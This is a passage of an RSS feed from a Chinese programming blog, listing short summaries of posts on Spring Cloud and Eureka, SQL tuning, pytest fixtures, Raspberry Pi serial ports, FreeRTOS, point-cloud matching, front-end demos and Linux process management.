&amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-dependencies&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;Camden.SR2&amp;lt;/version&amp;gt; &amp;lt;type&amp;gt;pom&amp;lt;/type&amp;gt; &amp;lt;scope&amp;gt;import&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; &amp;lt;/dependencyManagement&amp;gt; spring cloud 与 zookeeper 的集成主要依赖 spring-cloud-starter-zookeeper-discovery 模块&#xA;定义 DTO 对象 public class UserDTO { private Long id; private String name; private Date birthday; /* 省略getter,setter方法 */ } 定义服务提供接口 @RestController public class ComputeController { @Autowired private DiscoveryClient client; @RequestMapping(value = &#34;</description>
    </item>
    <item>
      <title>[Spring Cloud] Eureka 的自我保护模式及相关问题</title>
      <link>https://bchobby.github.io/posts/6e82c3defc57811c4d28cdefd41e95ae/</link>
      <pubDate>Tue, 20 Apr 2021 09:26:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e82c3defc57811c4d28cdefd41e95ae/</guid>
      <description>原文地址 blog.csdn.net&#xA;一 Eureka 的自我保护模式 等待 Eureka Server 自动恢复重启 Eureka Server关闭 Eureka 的自我保护模式 二开发环境的 Eureka Server三参考链接 一、Eureka 的自我保护模式 访问Eureka主页时，如果看到这样一段大红色的句子：&#xA;EMERGENCY! EUREKA MAY BE INCORRECTLY CLAIMING INSTANCES ARE UP WHEN THEY’RE NOT. RENEWALS ARE LESSER THAN THRESHOLD AND HENCE THE INSTANCES ARE NOT BEING EXPIRED JUST TO BE SAFE.&#xA;那么就表明着Eureka的 自我保护模式 (self-preservation mode) 被启动了，当 Eureka Server 节点在短时间内丢失了过多实例的连接时（比如网络故障或频繁的启动关闭客户端），那么这个节点就会进入自我保护模式，一旦进入到该模式，Eureka server 就会保护服务注册表中的信息，不再删除服务注册表中的数据（即不会注销任何微服务），当网络故障恢复后，该 Ereaka Server 节点就会自动退出自我保护模式（我的 Eureka Server 已经几个月了，至今未自动退出该模式）&#xA;默认情况下，如果 Ereaka Server 在一段时间内没有接受到某个微服务示例的心跳，便会注销该实例（默认 90 秒），而一旦进入自我保护模式，那么即使你关闭了指定实例，仍然会发现该 Ereaka Server 的注册实例中会存在被关闭的实例信息，如果你对该实例做了负载均衡，那么仅关闭了其中一个实例，则通过网关调用接口api时很可能会发生如下异常：</description>
    </item>
    <item>
      <title>迁移软件：如何迁移程序到其他盘？</title>
      <link>https://bchobby.github.io/posts/d23e70611390c6ada53061abd8d5faa7/</link>
      <pubDate>Mon, 19 Apr 2021 18:17:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d23e70611390c6ada53061abd8d5faa7/</guid>
      <description>有时候我们使用电脑时会觉得很卡，绝大部分人的操作都是打开360安全卫士/电脑管家等软件，进行垃圾文件清理，优化加速，但是这种情况治标不治本，尤其是对于某些快要存满的C盘来说，大部分的数据都是一些应用程序产生的。那么问题来了，如何迁移程序到其他盘，释放C盘空间呢？&#xA;前段时间小编发现了一款比较好用的可以迁移应用程序到其他盘的软件——易我电脑迁移，帮我迁移了不少C盘的软件走，顿时C盘空间就解放了不少。下面给大家分享一下易我电脑迁移软件迁移应用程序到其他盘的过程：&#xA;步骤1.启动易我电脑迁移程序，在主页上选择“应用搬家”，然后点击“开始”。&#xA;步骤2.勾选需要迁移的应用程序，并选择要迁移到的目标分区，然后点击“迁移”继续。&#xA;步骤3.完成迁移。&#xA;注意：&#xA;◆迁移完成后，需要重新启动计算机以刷新所有迁移的程序。&#xA;易我电脑迁移是一款实用的数据迁移软件，适用于Windows 10/8.1/8/7/Vista/XP系统，界面简约，功能强大且操作简单。支持在两台电脑之间传输数据，不仅能将旧电脑的文件/文件夹迁移到新电脑，还能将旧电脑上的应用程序和Windows账号也一并迁移，而无需在新电脑上重新安装和设置，大大节约了用户的时间；软件还提供备份和还原功能，备份电脑上的程序、文件和账号，避免因数据意外丢失而带来的损失，同时，备份的生成的镜像文件还支持在另一台电脑上进行还原，起到迁移数据的作用；易我电脑迁移还能将空间不足的磁盘上的应用程序迁移到其他分区或磁盘，释放磁盘空间；还可以通过连接旧电脑的磁盘，将无法正常工作的旧电脑中的应用和数据完整迁移出来；除此之外，软件还提供系统盘瘦身、大文件清理以及应用管理功能，帮助用户更好地管理磁盘数据。点击下载&amp;gt;&amp;gt;&#xA;希望本文能帮助到大家哦！</description>
    </item>
    <item>
      <title>你还在用 select * 吗</title>
      <link>https://bchobby.github.io/posts/18e954862a86a3fd78765435444e23ae/</link>
      <pubDate>Mon, 19 Apr 2021 11:39:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18e954862a86a3fd78765435444e23ae/</guid>
      <description>在企业进行开发中不可能不和数据库打交道，而目前大部分公司用的数据库都是关系型数据库MYSQL。那么写SQL语句也就会成为我们工作中必不可少的一部分。当数据库表中的数据量比较小时可能看不出来不同SQL语句的区别，但当数据量比较大时，就可以感受到不同SQL语句执行速度的快慢。所以今天就给大家普及一下关于一些数据库的优化。&#xA;当知道有几条查询结果时，请使用&#34;LIMIT&#34; 加上LIMIT可以限制SQL语句返回的条数，比如&#34;LIMIT 1&#34;,这样就是返回1条数据结果，如果你已经知道该结果只有一条，就可以加上，因为这样写代表找到了一条就立马返回，避免了全表扫描。&#xA;在建表时给字段选择合适的数据类型和长度 不同的数据类型和长度占用的磁盘和内存大小是不同的，所以针对我们要存储的数据选择一个合适的数据类型和长度可以节省我们的存储空间，也能够提高我们后续查找数据的效率。&#xA;当你只需要一些列时，不要使用&#34;SELECT *&#34; &#34;SELECT *&#34;是会查找表中所有的列，是对全表进行扫描的，而如果只需要一些列名就只查该列名就行。&#xA;给你经常使用的where字句的列加上索引 当你经常需要根据一个列名来查询表的数据时，建议给该列加上索引，这样查找速度相比原来就要快非常多。不过一个表不要建太多索引，索引太多会降低表的性能。&#xA;以上就是关于一些数据库的调优比较常见的几种方法，当然，关于数据库的知识可博大精深着呢，这只是九牛一毛。如果大家有兴趣，后面再给大家慢慢普及。</description>
    </item>
    <item>
      <title>Qt release 应用程序无法正常启动(0xc000007b)</title>
      <link>https://bchobby.github.io/posts/2c322e23fe7c31fc4ad92638ce6bc766/</link>
      <pubDate>Mon, 19 Apr 2021 11:36:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c322e23fe7c31fc4ad92638ce6bc766/</guid>
      <description>release 编译之后生成的.exe文件 单击出现下图所示错误，这种情况考虑缺少.dll文件&#xA;首先在网上根据大神的指导 尝试使用 windeployqt 工具命令 无效...换了个思路&#xA;然后找到高级系统设置 对path进行检查&#xA;发现忘记添加D:\Qt\Qt5.9.6\5.9.6\msvc2015_64\bin (根据自己的实际使用的情况进行添加)&#xA;添加之后点击之前生成的.exe文件，成功运行</description>
    </item>
    <item>
      <title>DBUtils介绍</title>
      <link>https://bchobby.github.io/posts/db6cb1192a28096c7640d7373e44b5ec/</link>
      <pubDate>Mon, 19 Apr 2021 08:59:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db6cb1192a28096c7640d7373e44b5ec/</guid>
      <description>1　DBUtils简介&#xA;DBUtils是Apache Commons组件中的一员，开源免费！&#xA;DBUtils是对JDBC的简单封装，但是它还是被很多公司使用！&#xA;jar：commons-dbutils.jar&#xA;2　DBUtils主要类&#xA;DbUtils：都是静态方法，一系列的close()方法；&#xA;QueryRunner：&#xA;update()：执行insert、update、delete；DDL、DML&#xA;* int update(String sql, Object… params) --&amp;gt; 可执行增、删、改语句&#xA;* int update(Connection con, String sql, Object… parmas) 可以支持事务的功能&#xA;query()：执行select语句；DQL&#xA;* T query(String sql, ResultSetHandler rsh, Object… params) --&amp;gt; 可执行查询&#xA;&amp;gt; 它会先得到ResultSet，然后调用rsh的handle()把rs转换成需要的类型！&#xA;* T query(Connection con, String sql, ResultSetHadler rsh, Object… params)，支持事务&#xA;batch()：执行批处理。&#xA;增、删、改&#xA;public void fun1() throws SQLException {&#xA;QueryRunner qr = new QueryRunner();&#xA;String sql = “insert into user values(?</description>
    </item>
    <item>
      <title>小记-Java保留两位小数-使用BigDecimal</title>
      <link>https://bchobby.github.io/posts/f7ab68bacd900ebe2cd1c243ded4d930/</link>
      <pubDate>Sun, 18 Apr 2021 18:20:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7ab68bacd900ebe2cd1c243ded4d930/</guid>
      <description> 参考自：https://www.cnblogs.com/limin12891/p/11116680.html及jdk1.8文档如下例：&#xA;double a = 1; double b = 3; BigDecimal num1 = new BigDecimal(&#34;&#34; + a); BigDecimal num2 = new BigDecimal(&#34;&#34; + b); // 四舍五入保留两位小数 BigDecimal result1 = num1.divide(num2, 2, BigDecimal.ROUND_HALF_UP); // 保留3位小数 BigDecimal result2 = num1.divide(num1, 3, BigDecimal.ROUND_HALF_UP); System.out.println(result1); System.out.println(result2); 其中divide的第三个参数用于设定保留的规则：&#xA;ROUND_HALF_UP即：四舍五入&#xA;还有其它可设定值：&#xA;值含义ROUND_DOWN向零方向舍入––ROUND_UP向远离0的方向舍入––ROUND_CEILING向正无穷方向舍入––ROUND_FLOOR向负无穷方向舍入––ROUND_HALF_DOWN相当于五舍六入––ROUND_HALF_EVEN不展开描述––ROUND_UNNECESSARY不需要舍入模式 （无尽报错）–– </description>
    </item>
    <item>
      <title>numpy练习笔记</title>
      <link>https://bchobby.github.io/posts/87eb76ce2e4d8694e6c89985de554386/</link>
      <pubDate>Sun, 18 Apr 2021 12:23:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87eb76ce2e4d8694e6c89985de554386/</guid>
      <description>习题来源：https://cloud.tencent.com/developer/inventory/514&#xA;1.如何用0来填充一个数组的边界？&#xA;z= np.ones((10, 10)) z= np.pad(z, pad_width=1, mode=&#39;constant&#39;, constant_values=0) print (z) [[0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.] [0. 1. 1. 1. 1. 1. 1. 1. 1. 1. 1. 0.] [0. 1. 1. 1. 1. 1. 1. 1. 1. 1. 1. 0.] [0. 1. 1. 1. 1. 1. 1. 1. 1. 1. 1. 0.] [0. 1. 1. 1. 1. 1. 1. 1. 1. 1.</description>
    </item>
    <item>
      <title>（学习笔记）树莓派4B使用usb转串口通讯模块</title>
      <link>https://bchobby.github.io/posts/a8342fb26bf9d36e8fb5162c95549ede/</link>
      <pubDate>Sat, 17 Apr 2021 21:13:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8342fb26bf9d36e8fb5162c95549ede/</guid>
      <description>一.写在前面 首先，树莓派上自带一个串口，用于连接蓝牙或是串口命令行，对于这个串口的使用我们已经简单探究过了，可以点击蓝字看看我的这篇文章：树莓派4B和pc之间进行串口通信（解决报错）.&#xA;但是，对于嵌入式的应用来说串口设备很多，需要的串口数量也很多，自带的一个串口满足不了我们的需求了，所以通过USB外接串口就很有用处了。&#xA;树莓派官方的系统已经集成了USB转串口驱动，可以直接连接上串口就可以使用。&#xA;好，废话不多了，进入主题。&#xA;二.简单检查一下 把usb转串口通讯模块插上&#xA;ls -l /dev/tty* #查看识别的串口号 stty -F /dev/ttyUSB0 #查看串口的波特率 dmesg | grep ttyUSB0 #查看串口的连接信息 树莓派默认安装了python 和 pyserial， 使用pip命令查看一下有没有 命令行输入pip list（这里说一下，输入pip list 和 pip3 list ，显示的库数量不一样，在这里不展开说，有兴趣的朋友可以自己搜素一下。）&#xA;python -m serial.tools.list_ports #命令python查看安装到系统上的串口 好了，我们的检查就到这里，后面最常用的还是第一个命令，我再贴一次&#xA;ls -l /dev/tty* #查看识别的串口号 三.举个例子说一下 光说不练假把式，我们来自我验证一下。&#xA;把USB转串口的TX和RX引脚用杜邦线短接一下，来测试一下能不能用。&#xA;测试代码：&#xA;python3 import serial ser = serial.Serial(&#39;/dev/ttyUSB0&#39;,115200,timeout = 0.5) ser.isOpen() ser.write(&#39;123456&#39;.encode()) ser.inWaiting() ser.read(6) 这里提一下，因为树莓派4B自带python2 和 python3，你输入python的话，用的就是python2.7&#xA;上面的测试代码中写入格式要改一下，这里为什么要改，挖个坑，以后来具体说说。没啥事的话两个都输入试一下。&#xA;#使用python2 ser.write(&#39;123456&#39;) 四.USB转串口模块和minicom串口助手 首先，在命令行界面输入&#xA;sudo minicom -D /dev/ttyUSB0 -b 9600 好了，能用了，minicom和pc的简单通信参考一下这个博客（树莓派4B和pc之间进行串口通信（解决报错）），简单不多说了。</description>
    </item>
    <item>
      <title>4-1-2数组定义</title>
      <link>https://bchobby.github.io/posts/3f81574c051ae80b4047cc7ef0fe50dd/</link>
      <pubDate>Sat, 17 Apr 2021 14:15:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f81574c051ae80b4047cc7ef0fe50dd/</guid>
      <description>#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;int main()&#xA;{&#xA;//数组是数据的集合1-100&#xA;//数组的数据是同类型的1-100都是整数，不能1 1.2 2 2.3&#xA;//数组地址是连续的&#xA;int array[100]; //1.没有初始化的数组，仅仅申请了100个整数的内存空间.&#xA;int array2[3]={1,2,3}; //2.有初始化的数组，完整初始化，该数组申请了三个整数内存空间，并赋值三个数1,2,3&#xA;int array3[100]={1,2,3};&#xA;//3.有初始化的数组，不完整初始化，该数组申请了100个整数内存空间，并只赋值三个数1,2,3 放在数组的前面。[1,2,3,0,0,0,0,0,0,0,…0]&#xA;int n;&#xA;scanf(&#34;%d\n&#34;,&amp;amp;n);&#xA;int array4[n]; //实际应用当中无报错，可使用，但是在一些所谓的教材中，认定为非法！&#xA;//当我们学会指针的时候，就可以完成抛弃这种定义，用指针思维来做.&#xA;system(&#34;pause&#34;); return 0; }</description>
    </item>
    <item>
      <title>微信小程序基于wx-charts的canvas组件横向滚动</title>
      <link>https://bchobby.github.io/posts/82b57df37cbe981aa65024478028ca18/</link>
      <pubDate>Sat, 17 Apr 2021 14:02:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82b57df37cbe981aa65024478028ca18/</guid>
      <description>在微信小程序里插入折线图，可以使用wx-charts，在绘制到canvas上。&#xA;wx-charts具体用法就不介绍了。折线图显示后，却发现了一个问题：数据x轴长度不确定，导致如果数据很长的话，数据就会挤在一起，如果长度较大，canvas能滚动就好了。&#xA;在网页中，我们直接设置父元素固定宽度，子元素宽度超过父元素，让父元素overflow：auto;就行了，可是对微信小程序的canvas组件不起作用。&#xA;第一时间想到scroll-view组件，但是scroll-view组件不能作为canvas的父元素。但是&#xA;研究发现，虽然canvas不会响应scroll-view的滚动，但是bindscroll事件方法是有返回值的，e.detail里有个scrollLeft参数，是随滚动不断变化的，&#xA;一、wxml部分&#xA;二、css部分&#xA;三、js部分&#xA;四、结果&#xA;当数据较少时，canvas会全屏展示，不能滚动，当数据较多时，可以左右滚动。&#xA;不足之处：1、因为canvas的滚动是在滑动结束，获取到scrollLeft值之后的操作，所以滚动很生硬，不流畅；&#xA;2、不能使用wx-charts内置方法touchHandler。</description>
    </item>
    <item>
      <title>小程序组件中监听父组件传来的properties值</title>
      <link>https://bchobby.github.io/posts/0916815dc0d76576bc48eebc2869a76f/</link>
      <pubDate>Sat, 17 Apr 2021 13:16:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0916815dc0d76576bc48eebc2869a76f/</guid>
      <description>前提: 在小程序中，子组件需要接受父组件传来的2个值A和B，子组件需要同时根据A和B做一些业务处理。&#xA;通常，我们可以在properties单独的针对A和B进行监听，但是我们发现，有时候在A中使用B，取不到B值，或在B中使用A，取不到A值。这是为什么呢？其实这个涉及到js事件循环和小程序监听数据的知识。&#xA;上图为例：&#xA;父组件传入两个值campstatus和isIndex,campstatus为动态数据，isIndex为静态值2。&#xA;1、由于campstatus是异步数据，第一次能监听到campstatus的默认值0和isIndex的值2&#xA;2、当父组件campstatus数据变为1的时候，子组件能监听到campstatus值发生了变化，但是isIndex的值没有发生变化，所以无法进入isIndex的observer方法里执行相关的业务逻辑。&#xA;那么，有没有同时能监测到这两个值的方法呢？所以针对子组件需要同时根据A和B做一些业务处理的情况，我们需要同时监听这两个值变化。只要有一个值发生变化，都会重新处理相关业务。&#xA;参考微信开发文档：https://developers.weixin.qq.com/miniprogram/dev/framework/custom-component/observer.html</description>
    </item>
    <item>
      <title>Vue实战笔记(二) 引入Element Plus</title>
      <link>https://bchobby.github.io/posts/b4a9cb3104a950900b3eff4d22c39323/</link>
      <pubDate>Sat, 17 Apr 2021 00:38:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b4a9cb3104a950900b3eff4d22c39323/</guid>
      <description>Element Plus 是为适配 Vue3 而对 Element UI 进行重构后产生的前端组件库，包含丰富的基础组件&#xA;下面先贴出 官方文档，里面的介绍已经十分全面和详细，大家遇到的很多问题都可以在上面找到答案&#xA;假设现在我们已经用 vue-cli 4 工具创建了一个 Vue3 项目，然后怎么在项目中引入 Element Plus 呢？&#xA;注意，这里必须是用 vue-cli 4 创建的 Vue3 项目，否则后面会报错，首先介绍一下默认生成的目录结构&#xA;+ demo + node_modules（存放第三方模块） + public（存放静态文件） - favicon.ico（图标） - index.html （页面模板） + src（我们自己写的文件一般放在这个文件夹下） + assets（存放资源文件） + components（存放公共组件） + router.js（路由管理：Router） + store.js （状态管理：Vuex） + views（存放视图组件） - App.vue（页面入口文件） - main.js（程序入口文件） - package.json（项目配置文件） - package-lock.json（项目配置文件） - babel.config.js（babel 配置文件） - README.md（项目说明文档） - ...（其它配置文件） 1、安装 Element Plus npm 是 Node 的包管理工具，我们可以通过 npm 安装 Element Plus</description>
    </item>
    <item>
      <title>stm32 cubemx freertos 中断二值信号量卡死问题</title>
      <link>https://bchobby.github.io/posts/2871ad40b50bf3972edf730443c45437/</link>
      <pubDate>Fri, 16 Apr 2021 21:00:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2871ad40b50bf3972edf730443c45437/</guid>
      <description>功能: 按键中断里面释放二值信号量, 然后点亮LED灯&#xA;问题: 卡在xSemaphoreGiveFromISR&#xA;代码:&#xA;void HAL_GPIO_EXTI_Callback(uint16_t GPIO_Pin){ uint32_t ulReturn; BaseType_t pxHigherPriorityTaskWoken; /* 进入临界段，临界段可以嵌套 */ ulReturn = taskENTER_CRITICAL_FROM_ISR(); if(GPIO_Pin == KEY1_Pin){ BaseType_t pxHigherPriorityTaskWoken; xSemaphoreGiveFromISR(BinarySem_Handle,&amp;amp;pxHigherPriorityTaskWoken);&#x9;//释放二值信号量 //如果需要的话进行一次任务切换 portYIELD_FROM_ISR(pxHigherPriorityTaskWoken); } /* 退出临界段 */ taskEXIT_CRITICAL_FROM_ISR( ulReturn ); } static void LED_Task(void* parameter) {&#x9;BaseType_t xReturn = pdPASS;/* 定义一个创建信息返回值，默认为pdPASS */ uint32_t r_queue;&#x9;/* 定义一个接收消息的变量 */ while (1) { //获取二值信号量 xSemaphore,没获取到则一直等待 xReturn = xSemaphoreTake(BinarySem_Handle,/* 二值信号量句柄 */ portMAX_DELAY); /* 等待时间 */ if(pdPASS == xReturn) { printf(&#34;</description>
    </item>
    <item>
      <title>Pytest测试框架（七）：pytest 的setup/teardown方法</title>
      <link>https://bchobby.github.io/posts/917a244949c29d201686a7cc158c9070/</link>
      <pubDate>Fri, 16 Apr 2021 20:13:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/917a244949c29d201686a7cc158c9070/</guid>
      <description>setup() 和 teardown() 方法用于初始化和清理测试环境，可以保证测试用例的独立性。&#xA;pytest的setup/teardown方法包括： 模块级别(setup_module/teardown_module)、 函数级别(setup_function/teardown_function)、 类级别(setup_class/ teardown_class)、 方法级别(setup_method/teardown_methond或者setup/teardown)。 pytest中有四只种setup和teardown： 1、setup_module和teardown_module在整个测试用例所在的文件中所有的方法运行前和运行后运行，只会运行一次； 2、setup_class和teardown_class则在整个文件中的一次class中所有用例的前后运行； 3、setup_method和teardown_method在class内的每个方法运行前后运行； 4、setup_function和teardown_function则是在非class下属的每个测试方法的前后运行； 模块级别 模块中的第一个测试用例开始前执行setup_module方法，模块中的最后一个测试用例结束后运行teardown_module方法。&#xA;import pytest def setup_module(): print(&#34;初始化。。。&#34;) def teardown_module(): print(&#34;清理。。。&#34;) class Test_Demo(): def test_case1(self): print(&#34;开始执行测试用例1&#34;) assert 1 + 1 == 2 def test_case2(self): print(&#34;开始执行测试用例2&#34;) assert 2 + 8 == 10 def test_case3(self): print(&#34;开始执行测试用例3&#34;) assert 99 + 1 == 100 结果：&#xA;模块初始化。。。 PASSED [ 33%]开始执行测试用例1 PASSED [ 66%]开始执行测试用例2 PASSED [100%]开始执行测试用例3 模块清理。。。 函数级别 setup_function/teardown_function在每个测试函数前后运行，只对函数用例生效，不在类中。&#xA;import pytest def setup_function(): print(&#34;</description>
    </item>
    <item>
      <title>ICP和NDT匹配算法精度、速度和鲁棒性对比</title>
      <link>https://bchobby.github.io/posts/2ec9f2d5bd73b62f47b4f2d505af0696/</link>
      <pubDate>Fri, 16 Apr 2021 19:51:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ec9f2d5bd73b62f47b4f2d505af0696/</guid>
      <description>注意：如下实验是针对里程计任务而进行的，默认是帧间匹配，而对于帧到局部地图匹配情况下的长时间下的轨迹精度对比，请参考我的这篇博客：&#xA;【附优化方法的ICP源码】ICP与NDT匹配算法精度对比，以及手动实现的ICP和基于优化方法的ICP精度对比&#xA;1.实验条件 前提：以下ICP与NDT算法均使用的是PCL 1.8库中提供的实现方法，它们可以设置的参数较多，这里只探讨那些最常用的参数。&#xA;数据：杭州海创园区的室外点云数据，其效果如下：&#xA;后续点云的匹配，均以该点云为基础，对其增加平移、旋转，来模拟各种不同的状态，以观察ICP和NDT的匹配效果。&#xA;匹配结果优异的判定条件：&#xA;对于平移的判定采用欧氏距离来判断，欧氏距离越接近0，表示匹配的结果越优；对于旋转的判定，难以直接采用某个距离范数表示，下文将通过相对旋转矩阵的对角矩阵是否更接近单位阵来做简单判定，或者直接通过变换之后的效果观察判定。 2.实验 实验时，会将两帧关键帧点云分别平移和旋转一定的数值，然后对比icp和ndt对匹配结果的精度(fitness，欧式距离)、用时，以及目测效果。&#xA;由于该实验是为了验证室外里程计情况下的匹配结果，所以所有实验均是围绕这个主题进行。里程计前后两帧角度相差较小，位移也较小。实验时以等步长的方式对点云施加平移和旋转。&#xA;对于icp和ndt的匹配，均使用一个单位矩阵作为位姿的预测，不给任何先验。&#xA;2.1 平移 实际里程计推算情况下，前后两帧点云多数情况下只在x方向产生平移差距，所以后续关于平移的比对只针对x方向。&#xA;所用参数：&#xA;icp.setMaximumIterations(30); icp.setTransformationEpsilon(1e-3); icp.setMaxCorrespondenceDistance(1.0); ndt.setMaximumIterations(30); ndt.setTransformationEpsilon(1e-3); ndt.setStepSize(0.01); ndt.setResolution(1.0); 第一组实验：两帧点云之间只在x方向差了0.1米&#xA;实际效果&#xA;匹配效果&#xA;以下但凡是两张图片并排排列的情形，左边那张是icp的效果，右边那张是ndt的效果&#xA;icp use time(s): 0.072361 distance: 0.0558645 fitness: 0.117922&#xA;R&#xA;0.999977 0.0067574 -0.000550125&#xA;-0.00675799 0.999977 -0.00104073&#xA;0.000543081 0.00104442 1&#xA;ndt use time(s): 0.571204 distance: 0.0728875 fitness: 0.116304&#xA;R&#xA;0.999925 0.0119963 -0.00228154&#xA;-0.0119934 0.999927 0.00124959&#xA;0.00229637 -0.00122213 0.999997&#xA;第二组实验：两帧点云之间只在x方向差了0.5米&#xA;实际效果&#xA;匹配效果：&#xA;icp use time(s): 0.</description>
    </item>
    <item>
      <title>趣味搜索框（Bouncy Castle Form）</title>
      <link>https://bchobby.github.io/posts/ca4b5887b9c3b5533bcd9bea364780d8/</link>
      <pubDate>Fri, 16 Apr 2021 15:28:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca4b5887b9c3b5533bcd9bea364780d8/</guid>
      <description>趣味搜索框（Bouncy Castle Form） 示例HTMLCSSJS 更多有趣示例 尽在知屋安砖社区&#xA;示例 HTML &amp;lt;div id=&#34;wrap&#34;&amp;gt; &amp;lt;form id=&#34;bounce&#34; autocomplete=&#34;off&#34;&amp;gt; &amp;lt;input type=&#34;email&#34; id=&#34;email&#34; maxlength=&#39;25&#39; required/&amp;gt; &amp;lt;input type=&#34;submit&#34; id=&#34;submit&#34; value=&#34;SIGN UP&#34;/&amp;gt; &amp;lt;/form&amp;gt; &amp;lt;div id=&#34;fakeform&#34;&amp;gt; &amp;lt;p id=&#34;wrapper&#34;&amp;gt; &amp;lt;span class=&#34;cursor&#34;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;svg id=&#39;bouncehouse&#39; viewbox=&#39;0 0 1000 800&#39;&amp;gt; &amp;lt;defs&amp;gt; &amp;lt;marker id=&#34;cap&#34; markerheight=&#34;20&#34; markerwidth=&#34;20&#34; refx=&#34;70&#34; refy=&#34;40&#34; orient=&#34;auto-start-reverse&#34; viewbox=&#34;0 0 800 800&#34;&amp;gt; &amp;lt;g transform=&#34;rotate(90,90,90), translate(0,50)&#34;&amp;gt; &amp;lt;g&amp;gt; &amp;lt;path d=&#34;M 60 60 Q 40 70 20 60 Q 10 40 20 20 Q 40 10 60 20 Q 70 40 60 60 &#34;</description>
    </item>
    <item>
      <title>烟圈（smoke ring）</title>
      <link>https://bchobby.github.io/posts/ba5644b60f188d879d5ab4f0d7f865b8/</link>
      <pubDate>Fri, 16 Apr 2021 15:10:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba5644b60f188d879d5ab4f0d7f865b8/</guid>
      <description>烟圈（smoke ring） 示例HTMLCSSJS 更多有趣示例 尽在知屋安砖社区&#xA;示例 HTML &amp;lt;div class=&#34;app&#34;&amp;gt; &amp;lt;canvas id=&#34;c&#34;&amp;gt;&amp;lt;/canvas&amp;gt; &amp;lt;svg id=&#34;s&#34; viewBox=&#34;0 0 600 600&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34; preserveAspectRatio=&#34;xMidYMid meet&#34; stroke=&#34;#fff&#34; fill=&#34;none&#34;&amp;gt; &amp;lt;defs&amp;gt; &amp;lt;mask id=&#34;m1&#34;&amp;gt; &amp;lt;rect fill=&#34;#fff&#34; width=&#34;100%&#34; height=&#34;100%&#34;/&amp;gt; &amp;lt;circle fill=&#34;#000&#34; cx=&#34;300&#34; cy=&#34;300&#34; r=&#34;285&#34;/&amp;gt; &amp;lt;/mask&amp;gt; &amp;lt;mask id=&#34;m2&#34;&amp;gt; &amp;lt;rect fill=&#34;#fff&#34; width=&#34;100%&#34; height=&#34;100%&#34;/&amp;gt; &amp;lt;circle fill=&#34;#000&#34; cx=&#34;300&#34; cy=&#34;300&#34; r=&#34;272&#34;/&amp;gt; &amp;lt;/mask&amp;gt; &amp;lt;/defs&amp;gt; &amp;lt;circle class=&#34;ring1&#34; cx=&#34;300&#34; cy=&#34;300&#34; r=&#34;210&#34; stroke-width=&#34;220&#34; stroke=&#34;#000&#34; /&amp;gt; &amp;lt;g id=&#34;marks&#34;&amp;gt; &amp;lt;path mask=&#34;url(#m1)&#34; opacity=&#34;0.5&#34; d=&#34;M0.2,289.5l599.6,20.9 M6.6,237.6l586.9,124.7 M21.8,187.6l556.3,224.8 M45.6,141l508.8,318 M77.1,99.3 L300,300 M115.3,63.6L300,300 M300,300L159.2,35.1 M207.</description>
    </item>
    <item>
      <title>Linux的进程管理</title>
      <link>https://bchobby.github.io/posts/e3ee88fed64f0437aa6bf695ff5585c6/</link>
      <pubDate>Thu, 15 Apr 2021 19:31:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3ee88fed64f0437aa6bf695ff5585c6/</guid>
      <description>目录&#xA;1、概述&#xA;2、进程描述符&#xA;2.1 进程描述符的分配&#xA;2.2 进程描述符的存放&#xA;2.3 进程状态&#xA;2.4 进程上下文&#xA;2.5 进程家族树&#xA;3、进程的创建&#xA;4、进程的终结&#xA;5、线程的实现&#xA;1、概述 进程是执行期的代码。但是进程不止包括这样一段可执行的代码，还包括进程执行相关的各种资源：&#xA;打开的文件；挂起的信号；内核内部的数据；处理器状态；一个或多个具有内存映射的地址空间；一个或多个执行线程；存放全局变量的数据段；...... 进程在创建它的时候开始存活，在Linux系统中，这通常的fork()系统调用的结果。fork()系统调用通过复制一个现有进程来创建一个新的进程，调用fork()的进程称为父进程，新创建的进程称为子进程。在fork()系统调用结束时，父进程恢复执行，子进程开始执行。fork()系统调用从内核返回两次：一次是回到父进程，一次是回到子进程。Linux内核中，fork()实际上是通过clone()调用实现的。&#xA;fork()调用后，通过exec()调用可以创建新的地址空间，并把程序载入其中。最终，程序通过exit()调用退出执行，并释放其占用的资源。父进程可以通过wait4()调用等待子进程的执行结果。程序执行完成后被设置为僵死状态，直到它的父进程调用wait()或waitpid()调用。&#xA;执行线程简称线程，是在进程中活动的对象。每个线程都有一个独立的程序计数器、进程栈和一组进程寄存器。内核调度的对象是线程而不是进程。对于Linux而言，线程就是一种特殊的进程。&#xA;2、进程描述符 进程描述符用来描述一个具体的进程的所有信息。进程描述符的数据结构叫做task_struct，定义在&amp;lt;linux/sched.h&amp;gt;文件中。&#xA;task_struct数据大小约为1.7KB（32位机器），包含了内核管理一个进程所需要的全部信息：&#xA;进程的id（pid）；打开的文件；进程的地址空间；挂起的信息；进程的状态；...... 2.1 进程描述符的分配 Linux通过slab分配器动态分配task_struct结构，分配时只需要在进程内核栈的尾端创建一个新的结构thread_info即可。其中，task域存放的是指向task_struct的指针。&#xA;2.2 进程描述符的存放 内核通过唯一的进程标识值PID（Process Identification 